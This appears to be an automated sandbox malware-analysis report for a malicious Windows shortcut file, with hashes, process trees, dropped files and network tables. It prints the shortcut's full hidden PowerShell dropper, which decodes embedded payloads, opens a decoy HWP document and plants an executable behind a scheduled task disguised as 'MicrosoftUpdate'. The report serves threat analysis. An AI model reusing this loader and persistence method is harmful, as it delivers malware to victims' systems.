File name: | b91bc5bc74dc056c1286dcbc8f41c09b19e52450b62857d36f454cedab860c55 |
Full analysis: | https://app.any.run/tasks/c4c7d678-2d01-40fa-b9ba-7fb85a8cabad |
Verdict: | Malicious activity |
Analysis date: | September 10, 2025, 09:56:24 |
OS: | Windows 10 Professional (build: 19044, 64 bit) |
Tags: | |
Indicators: | |
MIME: | application/x-ms-shortcut |
File info: | MS Windows shortcut, Item id list present, Has command line arguments, Icon number=1, Unicoded, HasExpIcon, length=0, window=normal, IDListSize 0x020d, Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D", Volume "C:\" |
MD5: | B9900BEF33C6CC9911A5CD7EEDA8E093 |
SHA1: | 670D4251E9C2438F70796DDE747FEBE45AAE1E19 |
SHA256: | B91BC5BC74DC056C1286DCBC8F41C09B19E52450B62857D36F454CEDAB860C55 |
SSDEEP: | 24576:pirUMRm+SLQBHo/3LD5pMxigSzaw6r5jQoildLYcEiQNg6sqJ2XXH6q4zxFG2ejo:0 |
.lnk | | | Windows Shortcut (100) |
---|
Flags: | IDList, CommandArgs, IconFile, Unicode, ExpIcon |
---|---|
FileAttributes: | (none) |
TargetFileSize: | - |
IconIndex: | 1 |
RunWindow: | Normal |
HotKey: | (none) |
TargetFileDOSName: | powershell.exe |
CommandLineArguments: | -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$p=Get-Location;$pa=@('%temp%', $p);$ts=6032787;$pp=Get-ChildItem -Path $pa -Recurse *.* -File | Where-Object {$_.Length -eq $ts} | Select-Object -ExpandProperty FullName;$b=[IO.File]::ReadAllBytes($pp);$c=[System.Text.Encoding]::ASCII.GetString($b);$ai=$c.IndexOf('AEL')+3;$bi=$c.IndexOf('BEL');$ei=$c.IndexOf('EOF');$ah=$c.Substring($ai,$bi-$ai);$bh=$c.Substring($bi+3,$ei-$bi-3);function HB($he){$by=New-Object byte[] ($he.Length / 2);for ($i=0;$i -lt $by.Length;$i++){$by[$i]=[Convert]::ToByte($he.Substring($i*2,2),16);}return $by;}[IO.File]::WriteAllBytes('c:\programdata\NKView.hwp',(HB $ah));Start-Process 'c:\programdata\NKView.hwp';[IO.File]::WriteAllBytes('c:\programdata\3HNoWZd.exe',(HB $bh));Start-Process cmd -ArgumentList '/c schtasks /create /sc minute /mo 5 /tn MicrosoftUpdate /tr c:\programdata\3HNoWZd.exe /f' -WindowStyle Hidden;" |
IconFileName: | C:\Windows\System32\shell32.dll |
PID | CMD | Path | Indicators | Parent process | |||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
1380 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
1392 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
2464 | schtasks /create /sc minute /mo 5 /tn MicrosoftUpdate /tr c:\programdata\3HNoWZd.exe /f | C:\Windows\System32\schtasks.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Task Scheduler Configuration Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
3732 | "C:\WINDOWS\system32\cmd.exe" /c schtasks /create /sc minute /mo 5 /tn MicrosoftUpdate /tr c:\programdata\3HNoWZd.exe /f | C:\Windows\System32\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
6408 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
7096 | "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$p=Get-Location;$pa=@('C:\Users\admin\AppData\Local\Temp', $p);$ts=6032787;$pp=Get-ChildItem -Path $pa -Recurse *.* -File | Where-Object {$_.Length -eq $ts} | Select-Object -ExpandProperty FullName;$b=[IO.File]::ReadAllBytes($pp);$c=[System.Text.Encoding]::ASCII.GetString($b);$ai=$c.IndexOf('AEL')+3;$bi=$c.IndexOf('BEL');$ei=$c.IndexOf('EOF');$ah=$c.Substring($ai,$bi-$ai);$bh=$c.Substring($bi+3,$ei-$bi-3);function HB($he){$by=New-Object byte[] ($he.Length / 2);for ($i=0;$i -lt $by.Length;$i++){$by[$i]=[Convert]::ToByte($he.Substring($i*2,2),16);}return $by;}[IO.File]::WriteAllBytes('c:\programdata\NKView.hwp',(HB $ah));Start-Process 'c:\programdata\NKView.hwp';[IO.File]::WriteAllBytes('c:\programdata\3HNoWZd.exe',(HB $bh));Start-Process cmd -ArgumentList '/c schtasks /create /sc minute /mo 5 /tn MicrosoftUpdate /tr c:\programdata\3HNoWZd.exe /f' -WindowStyle Hidden;" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
|
PID | Process | Filename | Type | |
---|---|---|---|---|
7096 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\998873fce86c645d.customDestinations-ms | binary | |
MD5:66E85C5D931899E43EEB54EC0F254DA3 | SHA256:D7921251E7B91F3D097E4132D28BEA793422E89CECD24E5452BC5131FB207052 | |||
7096 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\26ZG7EI1XE4P00C4B07S.temp | binary | |
MD5:66E85C5D931899E43EEB54EC0F254DA3 | SHA256:D7921251E7B91F3D097E4132D28BEA793422E89CECD24E5452BC5131FB207052 | |||
7096 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:A2343519F9F0C86E58B9F7D0932B7856 | SHA256:E4E9CF0F96A09AA47009FA7C441C5806B9C1658FE8D2A273C3BB82A3BAA89945 | |||
7096 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_rdepbq2i.yob.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
7096 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_m5g0ewr3.uoh.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
1268 | svchost.exe | GET | 200 | 23.216.77.6:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
1268 | svchost.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
6212 | svchost.exe | GET | 200 | 23.54.109.203:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
3148 | SIHClient.exe | GET | 200 | 23.52.120.96:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
3148 | SIHClient.exe | GET | 200 | 23.52.120.96:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
1268 | svchost.exe | 4.231.128.59:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5032 | RUXIMICS.exe | 4.231.128.59:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5944 | MoUsoCoreWorker.exe | 4.231.128.59:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
1268 | svchost.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
1268 | svchost.exe | 23.216.77.6:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
1268 | svchost.exe | 95.101.149.131:80 | www.microsoft.com | Akamai International B.V. | NL | whitelisted |
5944 | MoUsoCoreWorker.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
6212 | svchost.exe | 40.126.31.71:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
Domain | IP | Reputation |
---|---|---|
google.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
self.events.data.microsoft.com |
| whitelisted |
activation-v2.sls.microsoft.com |
| whitelisted |
PID | Process | Class | Message |
---|---|---|---|
— | — | Unknown Traffic | ET USER_AGENTS Microsoft Dr Watson User-Agent (MSDW) |